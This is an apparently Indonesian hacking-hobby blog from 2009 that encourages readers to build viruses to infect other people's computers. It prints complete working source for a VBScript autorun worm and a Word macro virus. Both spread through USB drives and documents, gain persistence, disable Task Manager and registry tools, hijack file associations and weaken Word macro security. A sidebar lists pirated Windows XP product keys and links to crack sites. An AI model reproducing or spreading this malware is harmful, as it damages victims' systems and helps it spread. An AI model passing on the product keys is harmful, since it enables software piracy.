Ngerasa Bete? Kesel? Atau membuatmu bernafsu untuk membanting komputermu keras-keras? Hehehehe, LEBAY!
Tapi apa yang kamu rasakan kalo ternyata kamu melihat komputer orang lain terjangkit virus dengan nama mu sendiri? Udin.vbs, Tukimin.vbs, atau apapun lah namamu akan tertera di virus itu atau mungkin juga pesanmu akan muncul setelah virus mu berhasil masuk ke dalam sistem komputer orang lain… Gimana? menyenangkan bukan?
Jadi kenapa mesti jengkel komputermu terkena virus, AYO bikin virus sendiri.. caranya gampang… banyak sofware yang mendukung melakukan aksimu ini…
ada fast firus engine dan VB virus maker… bisa kamu download di sini dan di sini
atau software lainnya yang sama-sama mantap juga bisa kamu download di free software kobu’s download
Atau panduannya juga bisa kamu baca di :
1. membuat virus makro
2. membuat virus autorun,inf
September 5, 2009 Posted by kobubodoh | cara bikin virus | | No Comments Yet
cara bikin virus autorun.inf
sumber : http://oktavianus.wordpress.com/2007/12/16/membuat-dan-menghapus-virus-autorun-tanpa-antivirus/#more-146
Adapun cara membuat virus autorun sebagai berikut
1. script coding pertama
[autorun]
shellexecute=wscript.exe k4l0n6.sys.vbs
simpan coding tersebut dengan nama dan ekstensi file “autorun.inf” (tanpa tanda petik)
2. script coding kedua
‘Kalong-X2
‘Varian dari Kalong.VBS
on error resume next
‘Dim kata-kata berikut
dim rekur,syspath,windowpath,desades,longka,mf,isi,tf,kalong,nt,check,sd
’siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.sys.vbs”
set longka = createobject(”Scripting.FileSystemObject”)
set mf = longka.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘buat file induk
Set windowpath = longka.getspecialfolder(0)
Set syspath = longka.getspecialfolder(1)
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 32
set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)
tf.write rekur
tf.close
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 39
’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in longka.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then
set tf=longka.getfile(desades.path &”\k4l0n6.sys.vbs”)
tf.attributes =32
set tf=longka.createtextfile(desades.path &”\k4l0n6.sys.vbs”,2,true)
tf.write rekur
tf.close
set tf=longka.getfile(desades.path &”\k4l0n6.sys.vbs”)
tf.attributes = 39
set tf =longka.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = longka.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘Manipulasi Registry
set kalong = createobject(”WScript.Shell”)
‘Ubah IE Title
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: X2 ATTACK ::”
‘Ubah tulisan pertama pada text box menu RUN
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “KALONG-X2/1″
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”
‘Buat pesan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “KALONG-X2″
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Komputer Anda Diambil Alih”
‘Aktifkan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”
‘Ubah Default Start Page Internet Explorer
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.vaksin.com”
‘Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
simpan coding tersebut dengan nama dan ekstensi file “k4l0n6.sys.vbs” (tanpa tanda petik)
secara otomatis virus tersebut akan menyebar melalui flashdisk dan menginfeksi komputer yang kita gunakan. Untuk mengetahui komputer terkena virus autorun dapat menggunakan software iKnowPS sehingga akan terlihat frekuensi tampilan kerja komputer yang terlihat sangat sibuk.
Adapun cara menanggulangi virus tersebut yaitu dengan cara
- tekan menu Tools > Folder Options… > View > unchek Hide Protected operating system files (Recommended) > yes > OK
- sehingga secara otomatis akan terlihat tampilan file virus yang terhidden tersebut
virautorun.gif
- langkah selanjutnya yaitu dengan cara membuka dan mempelajari script coding file virus tersebut. Dan mempelajari bagian-bagian mana saja yang settingannya dirubah, terutama pada register editor (menu run > ketik regedit > OK)
- setelah itu, file tersebut dihapus/di delete dari komputer
semoga tulisan ini, bisa bermanfaat dan berguna untuk semua orang.
September 5, 2009 Posted by kobubodoh | bikin virus autorun.inf | | No Comments Yet
Cara Bikin Virus Makro
CARA MEMBUAT VIRUS MACRO
Buka Ms.Word (hanya contoh)
buka tools > Macro> Visual Basic Editor
Akan muncul gambar di bawah
Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.
Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!
‘This is my code’s virus
‘
‘Fuck Gates. Your software has small weakness. Watch it!
‘
‘Macro Viruses
‘[Macroid]
‘
‘Hanya untuk pembelajaran
Private Sub Document_Close()
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(”Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(”windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
If Dir(Environ$(”windir”) & “\Macroid.doc”) = “” Then
Dim isicrita As String
isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _
Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”
Open Environ$(”windir”) & “\Macroid.doc” For Output As #1
Print #1, isicrita
Close #1
End If
If Dir(Environ$(”windir”) & “\avmc.vbs”) = “” Then
Open Environ$(”windir”) & “\avmc.vbs” For Output As #1
Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”
Print #1, “for each FD in fs.drives”
Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”
Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”
Print #1, “end if”
Print #1, “Next”
Close #1
End If
ActiveDocument.Save
NormalTemplate.Save
End Sub
Private Sub Document_Open()
CommandBars(”Tools”).Controls(”Macro”).Visible = False
CommandBars(”Tools”).Controls(”Macro”).Enabled = False
CommandBars(”Tools”).Controls(”Customize…”).Visible = False
CommandBars(”Tools”).Controls(”Options…”).Visible = False
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(”Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(”windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
End Sub
Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI
Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!
September 5, 2009 Posted by kobubodoh | bikin virus makro | | No Comments Yet
Blog Untuk Mereka Yang Mau Belajar Jadi Hacker!!
Hai, Sobat…. SirajaKobu kembali beraksi… hehehe, :-)
Kini gue membuat blog untuk mereka yang ingin mencoba belajar buat jadi hacker pemula, tapi gayanya sudah seperti hacker handal… kenapa tidak? Gampang!!
Sudah tersedia kumpulan software-software yang bisa kita pelajari dan gunakan untuk pengetahuan awal kita sebagai hacker. Tapi gue pribadi berharap bahwa blog ini DIGUNAKAN SEBAIK-BAIKNYA dan hanya UNTUK PENDIDIKAN bukan ISENG… tapi boleh aja kalo kepepet…. hehehe, tapi dosa dan akibatnya tanggung aja sendiri. (ya iyalah!)
banyak jalan menuju Roma, dan banyak jalan buat bisa nge-hack… caranya?
klik aja di disini Download tools hack
Selain itu juga tersedia beberapa ebook gratis yang bisa didownload cuma-cuma dengan klik Ebook gratisnya kobu
September 5, 2009 Posted by kobubodoh | Sapa Kobu | | No Comments Yet
*
Authors
o kobubodoh
*
Search for:
*
Pages
o Download Ebook Gratis, Bro!!!
o Free Software Download
*
kobubodoh
*
Anda Pengunjung ke
o 1,866 orang
*
*
March 2010 M T W T F S S
« Sep
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
*
Blogroll
o BFUB XII
o Google Analytics
o Lintas BErita
o Technorarti
o WordPress.com
o WordPress.org
*
Top Link
o Cari Crack dan Keygen untuk semua software
*
*
Recent Comments
kobubodoh on Nge-hack password komputer ora…
poetrasadewa on Nge-hack password komputer ora…
Can on Free Software Download
Ibenk on Free Software Download
kobubodoh on Agar Komputer Kita Aman dari V…
*
Klik tertinggi
o freewarefiles.com/downloa…
*
VodPodPod
[Pretty freakin' amazing.]
Moving Train hit by Tornado
216 views
11 Mar 10
01
[I think this is the sequel to this... http://vodpod.com/watch/2788543-vh1-reality-show-bus-crashes-in-california-causing-major-slut-spill]
Breaking News: Some Bullshit Happening Somewhere
182 views
11 Mar 10
02
Raaaaaaaandy Declares War On Justin Bieber (Video)
543 views
09 Mar 10
03
Zach Galifianakis Opens SNL
568 views
08 Mar 10
04
[Young Zach Galifianakis at the end is genius.]
SNL: Zach Drops by the Set
316 views
08 Mar 10
05
see all 760 videos >
I collect with
vodpod
Previous 5
Next 5
*
o RSS - Posts
o RSS - Comments
*
Meta
o Log in
o Entries RSS
o Comments RSS
o WordPress.com
*
Pages
o Download Ebook Gratis, Bro!!!
o Free Software Download
*
SocialVibe
*
Spam Blocked
2 spam comments
blocked by
Akismet
*
Category Cloud
bikin virus autorun.inf Bikin virus kita masuk ke sistem bikin virus makro Bikin virus Worm dengan VBSWG cara bikin virus cara bunuh virus .vbs Cara ngehack password windows Hacking Yahoo messenger Tool Sapa Kobu top ten virus di indonesia
*
Archives
o September 2009 (10)
*
Categories
o Bikin virus kita masuk ke sistem
o Bikin virus Worm dengan VBSWG
o cara bikin virus
+ bikin virus autorun.inf
+ bikin virus makro
o cara bunuh virus .vbs
o Cara ngehack password windows
o Hacking Yahoo messenger Tool
o Sapa Kobu
o top ten virus di indonesia
*
RSS
Entries RSS
Comments RSS
Site info
Kumpulan Serial number Windows Xp
- Win XP Home OEM : JQ4T4-8VM63-6WFBK-KTT29-V8966
- Win XP Home Retail : RH6M6-7PPK4-YR86H-YFFFX-PW8M8
- Win XP Home Upgrade : RH6M6-7PPK4-YR86H-YFFFX-PW8M8
- Win XP Media Center 2005 : C4BH3-P4J7W-9MT6X-PGKC8-J4JTM
- Win XP Prof Corp : XP8BF-F8HPF-PY6BX-K24PJ-TWT6M
- Win XP Prof OEM : XJM6Q-BQ8HW-T6DFB-Y934T-YD4YT
- Win XP Prof Retail : CD87T-HFP4C-V7X7H-8VY68-W7D7M
- Win XP Prof Upgrade : CD87T-HFP4C-V7X7H-8VY68-W7D7M
- Run WPA_Kill.exe (in TOOLS\CRACK) to disable activation in non-corporate installs. CD NR 17 815
- Windows 2000 Powered Network Attached Storage ( NAS ) SN : RBDC9-VTRC8-D7972-J97JY-PRVMG CD NR 17 515
- Microsoft Windows XP Professional Reduced Media Edition CD NR 17 516
- Windows XP Corporate SP2 BONUS CUSTOM REAL CD NR 17 408
- Microsoft Windows XP Pro Upgrade w/ Service Pack 2 Integrated SN : CD87T-HFP4C-V7X7H-8VY68-W7D7M CD NR 17 256
- Windows XP Tablet PC Edition 2005 (c) Microsoft [2 CDs] SN : BGBHP-VGPP7-QHTXB-TPV36-CK8T8 16 544
- Microsoft Windows XP Professional SP2 Integrated POLiSH 16 401 SN : MYV37-2YMH7-YBHVW-VXJHM-489TB
- Microsoft Windows XP Corporate Ed. with incl. SP2 SN : FC8GV-8Y7G7-XKD7P-Y47XF-P829W CGJ2M-CFTXY-W4RBJ-BWTGB-VH2CB CD NR : 16 171
- Microsoft Windows XP Professional SP2 Integrated READ NFO SN : CD87T-HFP4C-V7H7H-8VY68-W7D7M RH6M6-7PPK4-YR86H-YFFFX-PW8M8 CD NR : 16 172
- Windows XP Pro SP2 Intergrated TYPE Repack SN : BRP6M-RC9CJ-VWDRK-KP2C2-9QFGW CD NR : 16 166
- Windows XP Service Pack 2 RTM FINAL 16 115
- Microsoft Windows XP Service Pack 2 Build 2162 Home Integrated SN : WWWJR-BX7CV-P32X2-C7VT3-QD6BP CD NR : 16 043
- MS Windows XP Professional SP2 RC2 beta build 2149 Intergrated SN : XP8BF-F8HPF-PY6BX-K24PJ-TWT6M CD NR : 15 812
- Microsoft Windows XP Professional SP2 RC1 Integrated REPACK 15 389 SN : XP8BF-F8HPF-PY6BX-K24PJ-TWT6M
- SUPPORTING USERS RUNNING THE MS WINDOWS XP OPERATING SYSTEM TRAINER 15 186
- Microsoft Windows XP 64 Bit SP1 Integrated For 64 Bit Ext Systems 14 978
- Ms Windows XP GR SP1 SN : 4BR3X-4CP6X-2DTXP-FFDHT-7Q298 CD NR : 14 696
- Microsoft Windows XP Corporate Edition SP1a Intergrated SN : 7QVT6-T2738-WRKJB-YKRFQ-XVK98 CD NR : 11 684
- Microsoft Windows Xp Media Center Edition PROPER : c82gj-yh627-72gbt-r7xv7-m7y4b SN: XJM6Q-BQ8HW-T6DFB-Y934T-YD4YT 11 324
- Windows XP Home OEM : JQ4T4-8VM63-6WFBK-KTT29-V8966
- Windows XP Home Retail : RH6M6-7PPK4-YR86H-YFFFX-PW8M8
- Windows XP Home Upgrade : RH6M6-7PPK4-YR86H-YFFFX-PW8M8
- Windows XP Media Center 2005 : C4BH3-P4J7W-9MT6X-PGKC8-J4JTM
- Windows XP Prof Corp : XP8BF-F8HPF-PY6BX-K24PJ-TWT6M
- Windows XP Prof OEM : XJM6Q-BQ8HW-T6DFB-Y934T-YD4YT
- Windows XP Prof Retail : CD87T-HFP4C-V7X7H-8VY68-W7D7M
- Windows XP Prof Upgrade : CD87T-HFP4C-V7X7H-8VY68-W7D7M
- Windows XP Tablet PC 2005 : VJT7M-8KKHT-GXQ6B-RX639-94FMD DVD-260
- Microsoft XP Corpor. Edition Service Pack 1 Intergrated PROPER Key : 7QVT6-T2738-WRKJB-YKRFQ-XVK98 9774
- Microsoft Windows XP Service Pack 1 Final Key : VHGJJ-6WK8X-JT2DH-BK6JV-PVFQ4 9775
- Microsoft Windows XP Slipstream Sp1 Corporate SN : 3KFB7 X2Q3M 6MWFX W2Y7V C7M9D 9758
- Microsoft Windows XP Corporate Ed. with incl. SP1 (c) Microsoft SN : 3KFB7 X2Q3M 6MWFX W2Y7V C7M9D CD NR : 9752
- Windows XP Professional Retail Serial : HJ32Y-3B3Y3-3X2HD-DJ43J-Q7D7G CD NR : 9502
